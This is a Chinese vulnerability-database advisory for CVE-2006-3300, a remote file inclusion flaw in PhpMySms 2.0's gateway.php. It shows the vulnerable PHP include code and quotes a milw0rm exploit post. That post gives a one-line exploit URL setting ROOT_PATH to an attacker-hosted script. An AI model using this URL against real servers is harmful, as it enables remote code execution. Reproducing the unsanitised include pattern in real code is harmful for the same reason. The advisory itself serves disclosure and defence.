PHPMySMS gateway.php 远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110514 漏洞类型 输入验证
发布时间 2006-06-24 更新时间 2007-07-06
CVE编号 CVE-2006-3300 CNNVD-ID CNNVD-200606-551
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/1948
https://www.securityfocus.com/bid/18633
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200606-551
|漏洞详情
PHPMySMS是一款开放源码的用PHP实现的基于Web的短信解决方案。PHPMySMS的实现上存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。远程攻击者可以利用PHPMySMS的gateway.php文件中的远程文件包含漏洞执行任意PHP代码。漏洞代码如下:==============================================================if(($_POST[mode]=="1")or($_GET[mode]=="1")){include("config.php");}else{include("$ROOT_PATH/config.php");}==============================================================
|漏洞EXP
PhpMySms <= V2.0 (ROOT_PATH) Remote File Include Vulnerability
URL : Http://www.phpmysms.com
 
Author=Persian-Defacer
www.Hacking-Boys.com
==============================================================
if (($_POST[mode] == "1") or ($_GET[mode] == "1")) {
include ("config.php");
} else {
include ("$ROOT_PATH/config.php");
}
==============================================================


Exploit : http://[site]/[sms location]/sms_config/gateway.php?ROOT_PATH=[evil_script]

# milw0rm.com [2006-06-24]
|受影响的产品
PhpMySms PhpMySms 2.0
|参考资料

来源:XF
名称:phpmysms-gateway-file-include(27372)
链接:http://xforce.iss.net/xforce/xfdb/27372
来源:BID
名称:18633
链接:http://www.securityfocus.com/bid/18633
来源:MILW0RM
名称:1948
链接:http://www.milw0rm.com/exploits/1948
来源:VUPEN
名称:ADV-2006-2590
链接:http://www.frsirt.com/english/advisories/2006/2590
来源:SECUNIA
名称:20799
链接:http://secunia.com/advisories/20799
来源:OSVDB
名称:26885
链接:http://www.osvdb.org/26885
来源:MILW0RM
名称:1948
链接:http://milw0rm.com/exploits/1948